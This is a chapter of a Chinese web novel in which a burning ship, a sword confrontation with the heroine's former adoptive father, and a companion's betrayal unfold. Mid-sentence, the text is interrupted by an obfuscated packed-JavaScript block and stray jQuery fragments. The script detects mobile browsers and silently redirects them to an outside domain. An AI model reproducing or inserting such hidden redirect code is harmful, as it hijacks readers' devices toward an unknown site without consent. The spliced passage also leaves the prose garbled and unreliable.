77. 焚心处缘断旧人归

作品:《她只想杀首辅

    话音刚落,忽然——


    “轰”的一声巨响从船舱外传来,仿若雷霆乍响,震得整艘船身一晃。随之而来的,是一阵混乱嘈杂的脚步声和撕心裂肺的喊叫:


    “走水啦——走水啦!”


    舱门砰然被撞开,一股浓烈刺鼻的黑烟猛然灌入,瞬间吞噬了船舱内的光线。烟气呛得人眼眶发酸、呼吸艰难。


    “快走!”怀晴来不及细想,一把拉起陆九龄,转身冲向船舱出口。


    脚步声、叫喊声、火舌噼啪炸响声混杂在一起,混乱而骇人。走廊尽头的木梁已被火势吞噬,火光在烟雾中跳跃翻腾。怀晴以袖掩面,低身疾行,护着陆九龄冲出浓烟。


    船舱之外,惊慌失措的人群已涌至甲板。渔夫、民夫、侍从、随臣、公主……不论尊卑,此刻皆狼狈不堪,在火光照映下,奔逃如蚁。


    众人纷纷跳船或登上栈桥,站在渡口边回望。只见那艘华丽高阔的楼船已被火焰包围,自上层船舱起火,烈焰如猛兽一般撕扯着船帆和栏杆。


    黑烟滚滚直冲苍穹。


    “船上还有人吗?”有人惊叫。


    “有人也来不及了。”


    风势正猛,江面风卷烟波,火焰如被煽动,蔓延得更快,短短片刻间,整艘楼船已成一片火海。人们只能眼睁睁望着那座昔日威仪的浮宫一点点被烈焰吞没,支离破碎、焦黑倒塌。


    怀晴立于渡口之侧,望着熊熊火光,袖中手指缓缓收紧。


    这一场火……绝非意外。


    人群中,顾三金满脸焦黑,走近怀晴才大口喘气道:“还好小姐让我换成银票,贴身缝在衣服里,又让我穿了防火防水的罩衫!”


    乌金西坠,火光映红水面,残阳犹如焚天之焰,江岸边天与水交织成一片浓烈的红。紧接着,一队兵士踏着整齐步伐,将混乱的人群团团围住。铠甲闪着阴寒的光芒,长戟如林。


    裴绰一袭玄衣,站在兵士中央,道:“船队里混入歹人,才不得不纵火一试。”


    怀晴心里一紧。裴绰已经发现陆九龄了?


    裴绰话音落下,竟径直穿过众人,朝她与陆九龄所在处缓缓走来。最终,他站在陆九龄面前,目光如炬:“摘下面具。”


    闻言,陆九龄僵直于原地。怀晴见他神色,知晓陆九龄已经完全确认裴绰便是昭明太子。


    还不待陆九龄有所应对,裴绰忽然抽剑——寒光一闪,剑锋却并未指向陆九龄,而是蓦地转身,将利刃架在了一旁一位佝偻民夫的颈边。


    “十多年了,”裴绰声音低哑,几近喉中挤出,“别来无恙啊。”


    那民夫背脊佝偻,满头霜发,衣衫破旧,左腿跛着,走起路来摇摇晃晃,几乎连站都站不稳。怀晴一眼便认出了他——是船上负责采购蔬菜、替厨娘打杂的老者。


    她心头骤然一紧。犹如被一阵疾风,猛然卷回多年前那个狂风暴雨的破庙之夜——


    跛乞?


    她的养父。


    民夫眯起眼,咧嘴一笑,露出几颗残牙:“小兔崽子,若是从前知晓你的身份,我可绝不会出手相救。”


    怀晴呼吸顿滞,一颗心骤沉如渊。


    裴绰将剑锋微微逼近了些,“还妄想当我救命恩人?”他嗤声冷笑,“傅况,你配吗?”


    四周静得可怕,只余江水拍岸与火焰燃烧的响声。


    傅况眯着眼睛道:“魏宪……少废话了,被你识破身份算你技高一筹,要杀要剐,随你……”


    “魏宪?”裴绰敛声道:“你是听了京都传闻,才费尽心机、混上楼船,想要杀我的吧?可惜,我并非魏宪。”


    傅况唇角一僵:“不可能。从前,我与嘉祥裴氏的老管家有过一面之缘,你绝不是真正的裴绰。”


    他话音未落,数名军士已逼近,将他一把按倒在地,用沉重的铁链将其五花大绑。


    傅况昔年也是执笔文士,颠沛流离多年,早已体弱病深,此时被擒,却没有半点挣扎,只是仰头看着裴绰,眼中泛起恨意:“当年没杀死你,是我错了。魏宪,你魏氏一族,坏事做尽,早该绝灭!”


    裴绰闻言,只沉默地看了他一瞬,然后转眸望向人群中的怀晴。


    两人视线相触,空气仿佛凝固了一瞬。


    随即,裴绰转过头来,冷声开口道:“真该死?当年,你带妍妍出门,没能将小姑娘带回来的时候,你不该死?”


    傅况一愣,似乎没想到裴绰提到久远的往事,眼神迷惘道:“她?谁让她是容钧的孩子!”


    “容钧千不该万不该,就不该四处张贴她的画像,好让我无意中知晓她是什么静和公主?若我不知晓此事,我们三人,说不定,还能相安无事地继续行乞,自在过日子呢!”


    傅况咆哮道:“容钧当年为了逼我就范,狠心抓走我的妻女。两军交战之际,容钧那厮将我妻女的首级挂于城墙,乱我军心,此谓胜之不武。若不是他,如今坐拥天下的便是我,傅况!”


    “那个小姑娘,我还记得她叫妍妍,多可爱。”傅况低声笑道:“可惜投错了胎,不该做容钧的女儿。那时,我知道她的身份后,没将她亲手扼死,也算成全与她曾父女相称的一段缘分。”


    “可一旦知道她是谁,我若不做点什么,怎么对得起我的囡囡?怎么对得起我妻子的头颅!”他顿了顿,眼神陡然锋利,像是从梦中惊醒,咬牙低吼:“我没动手杀她,已是仁至义尽!”


    怀晴心里刮起一阵飓风,迎上前,站在傅况面前:“所以,你就将她卖予青楼了?”


    傅况怔愣地看着她。


    容箐、容悦两位走失的公主被寻回一事,只在京都权贵圈中流传。皇帝还未昭告天下,因而傅况混入楼船后,只知晓她是镇国公府的少夫人,已故裴氏大爷的遗孀。


    闻言,裴绰的眼神黯淡了几分。


    怀晴此刻心头如江水翻腾——这一世,裴绰从未知晓,是傅况亲手将她卖予青楼。


    她垂下眼睫,不知此刻裴绰心中是如何翻涌。只听傅况冷笑,仿佛下了什么决断:“是,我将她卖进青楼。与我的囡囡相比,她能留有一命,我已经手下留情了……”


    话音未落,寒光一闪,裴绰手起刀落,长剑在傅况脸上划出一道深红的血痕。


    鲜血淌下,傅况却只是狂笑,仿佛终于得偿所愿一般:“哈哈哈……果然还是那个当年想杀我的小子……来吧,动手吧!”


    傅况道:“你小子,当年知道我把小姑娘弄丢,就想下手杀我吧?我们反正也是你死我活的关系,你今天不杀我,便是我明日杀你!”


    裴绰眼神冷冽,再次扬起长刀。


    恰在此时,一阵山风卷起残烟浓雾,扑面而来。


    兵士们来不及反应,一个个如被抽筋断骨,纷纷倒地,有人跌落江中,有人口吐白沫,更有强弩在手的将士眼一翻便晕了过去。


    “啪——”一声脆响,裴绰手中长刀坠地,整个人猛地跪倒,左膝砸出尘土,神色痛苦,手脚仿佛被抽空力气般,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596911|162506||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微微颤抖。


    这浓烟有毒,不会立时致命,却是引人全身发软。


    怀晴身边的人也一个个倒下,唯有她与红灯,安然无恙。


    暗云山庄的软筋散,正是红灯特制的,天下只有她可解。红灯还特意为分花拂柳调配了能解世间百般迷药的解药,因而这毒,对怀晴也无用。


    却见红灯上前背起傅况,掂起脚尖,穿行于林间,半个影儿也不见了。


    轻巧如燕,脚步无声。


    怀晴一怔。红灯什么时候会的轻功?


    红灯因先天气血不足,不是躺着便是在躺着的路上。因其惊才绝艳的医毒之术,鬼公子从未强求她习武。分花拂柳每次出任务,她只负责制毒疗伤,从不参与搏杀。


    为何红灯会救傅况?


    怀晴心中一动,瞬间收神,腾身追去。


    身后,裴绰半跪在原地,望着她离去的背影,目眦欲裂,却连一声也喊不出来。


    ……


    红灯到底气虚体弱,不过一盏茶时间,便背着傅况寻了个山洞,等怀晴追上时,她仰靠着岩壁,一脸煞白,似是疲累极了,见怀晴追上来,还笑道:“到底是偷偷练的轻功,比不过你和竹影。”


    怀晴目光掠过傅况——他尚负着铁链,被红灯背着赶路,已然虚脱,神色茫然,似不解为何红灯会救他。


    “红灯,从小到大,我们的任务你虽从不现身,但没有你的毒药、解药,我们三个不知死了多少回了。我不信,你会背叛分花拂柳。”怀晴凝眉:“说罢,怎么回事?”


    红灯却不答。


    “我只问你,十里坡挖骨的人,是不是你?”怀晴屏息道。


    红灯一愣,仰头看向她,眸子里已蓄满泪花:“妍妍,你知道了?”


    这一世,虽没有裴绰将跛乞五马分尸一世,因怀晴刚巧在卖身葬父前,重生而来,十里坡埋的便是别的尸骨,想必也被红灯挖了出来。


    “我一直在想,我亲自埋的尸骨,谁会知晓埋骨之地?除了竹影和你,没有第三个人。但我总不愿意去深究,是你们两个中的任何一个,会做这样的事。借尸骨失踪一事,裴绰对我身份生疑,也许,你想借裴绰的手,杀我吧?”


    怀晴低声道:“可惜,我突然变了计划,替身成了柳如玉。”


    “不是的,不是的,妍妍,我不想杀你。”红灯眼泪滚落。


    是的,你不想杀我——你想杀的,是晋阳公主。”怀晴俯身,逼视她的双眼,一字一句道。


    红灯的身子猛地一颤,嘴唇发白,却不再辩驳。


    怀晴忽而笑了,笑中带泪:“我不愿怀疑你,是因为我们说过,要把后背交给彼此。我们四人是孤儿,在暗云山庄那个炼狱般的地方,好不容易有了亲人。”


    她抬眼望向那片即将被黑暗席卷的天空,轻声道:“你记不记得,我们曾一起祈愿,说总有一天,要逃出暗云山庄,找一处山清水秀的地方,做些粗茶淡饭的小日子,相亲相爱,活一辈子。”


    红灯闭上眼,泪水流得更急。


    “我怎么现在才想明白?你是傅况的女儿。”


    这一句,如雷轰顶。


    红灯一瞬间睁开眼,满目哀色,唇角哆嗦。


    怀晴落泪道:“也不知这十来年,你有多少虚情假意?”


    “不是的!我对你,对宁宁,就算对竹影,也全是真心!”红灯满眼通红:“……当我知晓,你不是真正的晋阳公主,你不知道我有多高兴?”